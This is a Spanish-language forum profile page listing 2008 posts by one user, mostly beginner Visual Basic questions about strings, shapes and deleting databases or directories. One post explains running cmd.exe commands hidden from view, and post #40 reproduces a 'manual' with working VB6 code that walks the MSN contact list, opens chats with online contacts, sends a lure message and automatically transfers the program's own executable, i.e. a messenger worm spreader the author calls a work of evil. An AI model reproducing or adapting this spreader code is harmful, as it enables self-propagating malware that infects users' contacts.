Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mr pom0

#31
Programación Visual Basic / random en cadenas
10 Marzo 2008, 19:18 PM
alguna persona sabe una funcion para crear caracteres aleatorios como en random
#32
alguna persona sabe como comparar cadenas, caracter por caracter recursivamente
tengo esta funcion pero termina cuando encuentra un caracter que tengan las 2 cadenas y ya no sig. con las letras que falta
InStr (cadena, cadena1)
alguna persona sabe de alguna funcion   
#33
Programación Visual Basic / crear figuras en VB
26 Febrero 2008, 17:58 PM
Alguna persona sabe como puedo crear un shape con lineas de codigo ????
#34
Videora iPod Converter este programa yo lo uso es gratis y facil de usar y cambia varios formatos de video a mp4 

;D    :laugh:         :o
#35
shell "cmd.exe /c commando del ms-dos"
la /c hace que no pida permiso al ejecutar el comando y si al final le pones
shell "cmd.exe /c commando del ms-dos",vbHide esto hace que no salga el cmd de windows
#36
esta muy interesante que buena aportacion
#37
hola que tal a ver si alguien me puede decir como eliminar una base de datos completa  en visual basic por ejemplo yo uso esto para eliminar una  sola entrada Adodc2.Recordset.Delete pero no se como seria para eliminar todas las entradas espero y me puedan ayudar gracias
#38
Muchas gracias esta muy bueno y fi funciona solo lo cambie un poco para que no este todo en el form muchas gracias
#39
hola que tal tengo una duda alguna persona me puee decir como hacer para eliminar un directorio con todo su contenido ya se eliminar archivos pero no puedo eliminar el directorio me podrian ayudar y decirme cual es la funcion para eliminar muchas gracias
#40
pues mira yo me encontre un manual de vb de como hacer esto creo que este manual lo encontre aqui  espero que te sirva

Primero debemos comenzar accediendo al msn, a traves del objeto Messenger.UIAutomation.
Una vez hecho esto, iriamos de contacto en contacto, llamando a una funcion con el contacto
online como parametro.
VB:
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next
End If
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End
Con InstantMessage abrimos la ventana para chatear con el contacto. Simplemente lo
asignamos a una variable, porque necesitamos saber el handle de esa ventana para poder
continuar.
La funcion a la que se llama es la siguiente:
Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la
ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "***** Screen saber") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub
Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos
que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes:
GetForegroundWindow
SetForegroundWindow
PostMessage
Para escribir en la ventana de chat, debemos darle el foco a la ventana. Para esto usare la
funcion SetForegroundWindow. Lo primero que haremos es crear un bucle, que establezca el
foco a la ventana, y hasta que esa ventana tenga el foco no termine. ¿Por que hacemos esto?
Simplemente porque windows (no me pregunten porque) no le da el foco a la primera vez que
se llama la funcion. Por esto, creamos el bucle y nos aseguramos de que la ventana tendra el
foco. Una vez hecho esto, con PostMessage enviamos tecla por tecla, y asi escribrimos el
mensaje entero. Luego enviamos un Enter, y asi se manda el mensaje. La funcion es la
siguiente:
Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub
Enviando el archivo...
Bueno, esto es mas dificil que lo anterior (mentira).
Aqui, tendremos que mandar un comando a la ventana padre del chat. El comando es 40275.
Simplemente lo mandamos con PostMessage, y para detectar la ventana padre, usaremos la Api
GetWindowLong(hWnd, GWL_HWNDPARENT). hWnd corresponde al handle de la ventana del
chat. Una vez enviado el comando, aparecera por arte de magia la clasica ventanita de "enviar
archivo", el cual nos permitira continuar con nuestra obra del mal. Ahora, en windows 98 la cosa
se hace mucho mas facil, pero como hay que adaptar todo a windoze XP, tonces debemos
buscar esa ventanita entre todas las abiertas. ¿Como? con un bucle que vaya de ventana en
ventana, y pare cuando el titulo sea 'Enviar' (para MSN en Español), y 'Send' (para MSN en
Ingles). Esto se puede hacer con la API GetWindow, aunque se puede hacer con otras funciones
mas eficientes. Queda a gusto del programador.
Una vez encontrada la santa ventana de enviar archivo, debemos enviar a la casilla 'Nombre de
Archivo' la ruta del fichero a enviar. En win98 esa casilla corresponde a la clase "Edit", por lo que
es facil buscar el handle. Con FindWindowEx(X, 0, "Edit", vbNullString) ya tenemos el handle de
la casilla y con SendMessageByString, enviamos la ruta. PERO EN WIN XP ES DIFERENTE. El
casillero es una clase "ComboBox", dentro de otra clase "ComboBoxEx32", por lo que hay que
verificar que el primer metodo no nos devuelva 0. Si nos devuelve 0, buscamos esas dos clases
y listo, tenemos el handle de la casilla de texto. Enviamos la ruta del archivo. Enviamos un
Enter, y listo!
Bueno, he aqui la funcion:
Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0)
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function
Declaraciones de Apis y Constantes utilizadas:
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As
Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As
String, ByVal lpWindowName As String) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd
As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As
Long, ByVal nIndex As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA"
(ByVal hwnd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As
Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As
Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As
Long) As Long
Private Const GW_HWNDFIRST = 0&
Private Const GW_HWNDNEXT = 2&
Private Const GW_CHILD = 5&
Public Const GWL_HWNDPARENT = (-8)
Public Const WM_SETTEXT = &HC
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_COMMAND = &H111
Public Const VK_RETURN = &HD

Esto es todo lo que tenia el manual la verdad no lo e intendado a si que no se si funciona o no espero que te sea util